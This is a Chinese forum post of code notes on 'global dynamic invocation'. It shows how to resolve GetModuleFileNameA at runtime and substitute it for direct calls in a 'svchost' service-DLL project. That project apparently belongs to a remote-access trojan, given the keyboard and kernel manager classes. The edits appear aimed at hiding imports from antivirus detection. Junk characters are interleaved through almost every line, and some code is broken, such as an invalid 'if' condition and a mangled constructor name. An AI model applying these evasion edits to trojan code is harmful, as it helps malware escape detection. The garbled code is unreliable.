[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
3 w  S* }8 S+ vsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h* M0 c+ C$ [) g4 q, ]8 m
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2 D6 ~* f' }  n; |; z3 kDTDY.h：
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#if _MSC_VER>1000$ b# I$ |/ x) a! I4 {7 w  M5 f1 {
#pragma once9 |* X5 \  R- V5 ]* n% o8 y% d
#endif //_MSC_VER>10008 }+ t. b7 e6 @' Z4 B0 I- o0 c
#include<windows.h>0 W% i' v' K" b& I# q/ G

6 S9 s* u, l& }typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);0 h5 ]! }' K- ^
class DTDY; o% y  n* h% g  |, }
{& i( r3 _( F! L% f
public:
$ I2 |% G  @) j0 C! P; S7 f; o; `DTDY();1 p/ X- M- O7 T' Y6 Q
virtual ~DTDY();3 W& }. q1 y+ k. x& r) |9 X
public:5 y# W4 g2 N3 d: I9 E! S$ O% g4 w2 G
static pGetModuleFileNameA MyGetModuleFileName;! F! I1 I. W3 n( r( W$ r
static BOOL FunInitiallization();7 \( o" R* s1 e0 g% ]) E6 n
};) j% T0 k2 P! @- g# Q
#endif
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0 {/ D. S- K7 C! y$ n, HDTDY.cpp:
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#include "DTDY.h"+ d, ^3 Y  S9 N: Q- X' z+ }0 _) S" Q
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
/ `9 o* p2 V3 _% C4 PDTDY:TDY()1 L+ I, K$ {7 M
{
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DTDY::~DTDY()
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}
1 T; D0 u0 h0 U- _5 }) VBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");- M" X% L2 ^! L+ ^2 _: b
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
$ P2 k' v( @$ r1 s3 kif(!MyGetModuleFileName=) return FALSE;
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0 J! I9 k1 i( T9 y# {9 a5 Z3 Freturn TRUE;
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) M1 u' K, T$ I0 X) Y+ q4 {% }% dsvchost.cpp:
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#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)6 _* V) k2 `  ?* E- a( J
{
  E4 [6 c0 F2 ?0 p. yswitch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:
4 D0 f# |- c, v) c$ S, G; Bif(!DTDY::FunInitiallization()) return FALSE;5 g! u8 a9 }! G+ F' S

3 l9 Z) d6 {2 q; w; Wbreak;
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; m9 N0 N, [' ~1 K3 X" C" KGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def" H& z6 T( q6 x2 L, z
改写为
( ^# k. M" C0 Z) HDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 j0 S0 B* Q5 y0 S
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& I- @# V. t% K7 X1 }7 f  X: QKernelManager.cpp:1 X+ J" T: P% q* _! e

0 V% y% v# D+ I#include "../DTDY.h"
6 N" n- U- N& \GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
& ]: N" k! z) Q2 f7 Q( M改写为
( ]3 O' Q  O* rDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));' a8 P3 A+ Y1 _$ G
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